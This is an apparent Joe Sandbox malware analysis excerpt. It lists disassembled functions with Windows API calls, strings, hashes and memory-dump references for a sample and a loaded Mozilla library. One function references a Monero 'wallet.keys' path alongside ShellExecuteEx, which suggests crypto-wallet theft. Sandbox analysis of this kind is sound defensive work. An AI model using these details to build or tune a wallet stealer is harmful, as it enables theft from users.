Part of subcall function 6CE8CA10: malloc.MOZGLUE(?), ref: 6CE8CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CEEE330,?,6CE9C059), ref: 6CEDADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CEEE330,?,6CE9C059), ref: 6CEDAE01
GetLastError.KERNEL32(?,00000000,?,?,6CEEE330,?,6CE9C059), ref: 6CEDAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CEEE330,?,6CE9C059), ref: 6CEDAE3D

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: f83958dce7fd8148f06e01ab10ff745469e0e61a2b4b9869829a147eced11b3f
Instruction ID: a602ea5dfdea300ef2e1e65633b6a45a5116634293fc07e61feafd963dec0a2e
Opcode Fuzzy Hash: f83958dce7fd8148f06e01ab10ff745469e0e61a2b4b9869829a147eced11b3f
Instruction Fuzzy Hash: B33184B2E002159FDB10DF758C44AABBBF8EF49654F25882DE85AD7700E734E805CBA0

Function 6CE7B4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CE7B532
moz_xmalloc.MOZGLUE(?), ref: 6CE7B55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE7B56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CE7B57E
free.MOZGLUE(00000000), ref: 6CE7B58F

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: ee91b042398ae0819e26cea5b9b8c5616b581c4f93ea66c0759769b9c26c52f0
Instruction ID: 5877bc230ed6843d436e3b785d6f71c0f576eb9e6b8e2d532038d364592842d6
Opcode Fuzzy Hash: ee91b042398ae0819e26cea5b9b8c5616b581c4f93ea66c0759769b9c26c52f0
Instruction Fuzzy Hash: 9F21EA71A002059BDB108F64DC40B6ABBBAFF86318F34412DE918DB341E775D916C7A1

Function 00539260 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(0108EA88,?,?,?,0053140C,?,0108EA88,00000000), ref: 0053926C
lstrcpyn.KERNEL32(0076AB88,0108EA88,0108EA88,?,0053140C,?,0108EA88), ref: 00539290
lstrlen.KERNEL32(?,?,0053140C,?,0108EA88), ref: 005392A7
wsprintfA.USER32 ref: 005392C7

Strings

%s%s, xrefs: 005392B5

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 4f89332ec70f91840d2adef9f08b91141a13feb3e8fef4383651a57acc5f314f
Instruction ID: 9415adac959316528316ca7188b7f6ccba36e93e7b11e11a649af5f9cd03f993
Opcode Fuzzy Hash: 4f89332ec70f91840d2adef9f08b91141a13feb3e8fef4383651a57acc5f314f
Instruction Fuzzy Hash: 5401DEB5500208FFCB04DFECC984EAE7BB9FB44354F148558F90AAB244C675AA40DF95

Function 6CEB0D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CE73DEF), ref: 6CEB0D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CE73DEF), ref: 6CEB0D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CE73DEF), ref: 6CEB0DAF

Strings

<jemalloc>, xrefs: 6CEB0D92, 6CEB0DB9
: (malloc) Error in VirtualFree(), xrefs: 6CEB0D97, 6CEB0DBE

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: d3629df25665f07c345ea87085cc088e01a4d301b8749b50145f8479c9563263
Instruction ID: 1a08f1eb7dcf81ed73d84e706bdf38ad202279a7106752238eb6333a7f43cf1d
Opcode Fuzzy Hash: d3629df25665f07c345ea87085cc088e01a4d301b8749b50145f8479c9563263
Instruction Fuzzy Hash: 61F0E0B138039823E72011651F07B76257D67C2B14F34403AF264FADC0DA70F40146A4

Function 6CE9D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CEACBE8: GetCurrentProcess.KERNEL32(?,6CE731A7), ref: 6CEACBF1
Part of subcall function 6CEACBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CE731A7), ref: 6CEACBFA

EnterCriticalSection.KERNEL32(6CEFE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEAD1C5), ref: 6CE9D4F2
LeaveCriticalSection.KERNEL32(6CEFE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEAD1C5), ref: 6CE9D50B

Part of subcall function 6CE7CFE0: EnterCriticalSection.KERNEL32(6CEFE784), ref: 6CE7CFF6
Part of subcall function 6CE7CFE0: LeaveCriticalSection.KERNEL32(6CEFE784), ref: 6CE7D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEAD1C5), ref: 6CE9D52E
EnterCriticalSection.KERNEL32(6CEFE7DC), ref: 6CE9D690
LeaveCriticalSection.KERNEL32(6CEFE784,?,?,?,?,?,?,?,00000000,771B2FE0,00000001,?,6CEAD1C5), ref: 6CE9D751

Strings

MOZ_CRASH(), xrefs: 6CE9D4BB

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 600289c3fe252838c1edf4b1294f3751cc9c03c5eed54a0b040b95e6774cfd2d
Instruction ID: 2706e62c2da32316a14e962650834b5d1a26b793ea403a685406fa655accb71a
Opcode Fuzzy Hash: 600289c3fe252838c1edf4b1294f3751cc9c03c5eed54a0b040b95e6774cfd2d
Instruction Fuzzy Hash: AA51E275A047558FD314CF28C09065AB7F1EBC9318F34892ED5AAC7B85D775E801CB92

Function 0053C84E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

___crtGetStringTypeA.LIBCMT ref: 0053C8EC
___crtLCMapStringA.LIBCMT ref: 0053C90C
___crtLCMapStringA.LIBCMT ref: 0053C931

Strings

, xrefs: 0053C896

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: String___crt$Type
String ID:
API String ID: 2109742289-3916222277
Opcode ID: 8596253e5fb802973d0026ee102aa4785baabf93981999de12706f03603f74d4
Instruction ID: 2558b5ea6027d92083e029af4b78fe9247f18119ac90f4c660fea23ed09d21dd
Opcode Fuzzy Hash: 8596253e5fb802973d0026ee102aa4785baabf93981999de12706f03603f74d4
Instruction Fuzzy Hash: CE41E6B250075C5EDB218B248D85FFBBFF8BB45704F1448E8E98A96182D271AA44DF60

Function 6CECB410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE74290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CEB3EBD,6CEB3EBD,00000000), ref: 6CE742A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CECB127), ref: 6CECB463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CECB4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CECB4E4

Strings

pid:, xrefs: 6CECB4DE

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: 4db370dcd9b3105cf1df6d5ce0b0b78f90fcbef8d68f5e44367413e79177d8dc
Instruction ID: ebe342311053747dd6e6f58c2cc6c24ca7ceb718d6abd453fde3acadc087ae51
Opcode Fuzzy Hash: 4db370dcd9b3105cf1df6d5ce0b0b78f90fcbef8d68f5e44367413e79177d8dc
Instruction Fuzzy Hash: AA311331F05248DFDB10DFA9D980AEEB7B6BF45318F64052DD82167B40E735A849CBA2

Function 00536630 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00536663

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

ShellExecuteEx.SHELL32(0000003C), ref: 00536726
ExitProcess.KERNEL32 ref: 00536755

Strings

<, xrefs: 005366D9

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 5ac6609f9eb577b97e9871431edcd233640032efe043aa7419e59daed6e0a618
Instruction ID: 2232346fb0ba784c9f1fd22354aeca958608c1d9dd7010b79502bb82b35cd285
Opcode Fuzzy Hash: 5ac6609f9eb577b97e9871431edcd233640032efe043aa7419e59daed6e0a618
Instruction Fuzzy Hash: 1431FDB2801219ABDB14EB50DC95BDDBB78BF84300F404199F21676191DF746B49CF5A

Function 005387C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00540E28,00000000,?), ref: 0053882F
RtlAllocateHeap.NTDLL(00000000), ref: 00538836
wsprintfA.USER32 ref: 00538850

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Strings

%dx%d, xrefs: 00538847

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 35e2df741408b1b9c08ffcddffd7a15bd6b82e5cc57fed77700b22d7d64d72df
Instruction ID: ea5c4a739bf11966088240ef6c1fa1e570c635b48be208971d3ae7b63ebb0740
Opcode Fuzzy Hash: 35e2df741408b1b9c08ffcddffd7a15bd6b82e5cc57fed77700b22d7d64d72df
Instruction Fuzzy Hash: F821EDB1A44305BBDB04DF94DD49FAEBBB8FB48711F108519F606B7280C7B9A9018FA5

Function 6CEBE550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CEBE577
AcquireSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CEBE584
ReleaseSRWLockExclusive.KERNEL32(6CEFF4B8), ref: 6CEBE5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CEBE8A6

Strings

MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CEBE655
MOZ_PROFILER_STARTUP, xrefs: 6CEBE5A1, 6CEBE5CC, 6CEBE5FF, 6CEBE62A
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CEBE722, 6CEBE750, 6CEBE7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CEBE826, 6CEBE850
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CEBE777

Memory Dump Source

Source File: 00000000.00000002.1493906612.000000006CE71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CE70000, based on PE: true

Associated: 00000000.00000002.1493890580.000000006CE70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493952571.000000006CEED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1493973797.000000006CEFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1494002037.000000006CF02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce70000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: 3fba6aa936f48d5b16ee3da849a46430c4c5877d5686c3217bbe3d0f677bca4d
Instruction ID: cde869ab81ca7e4f366fa8c287cea786c6c737eb0885870cbe7afa91c5331701
Opcode Fuzzy Hash: 3fba6aa936f48d5b16ee3da849a46430c4c5877d5686c3217bbe3d0f677bca4d
Instruction Fuzzy Hash: 0A11C031A04698DFCB009F14D849B6EBBF4FBC932CF210619E8A597B50D778A806CBD5

Function 00538D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0053951E,00000000), ref: 00538D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00538D62
wsprintfW.USER32 ref: 00538D78

Strings

%hs, xrefs: 00538D6F

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
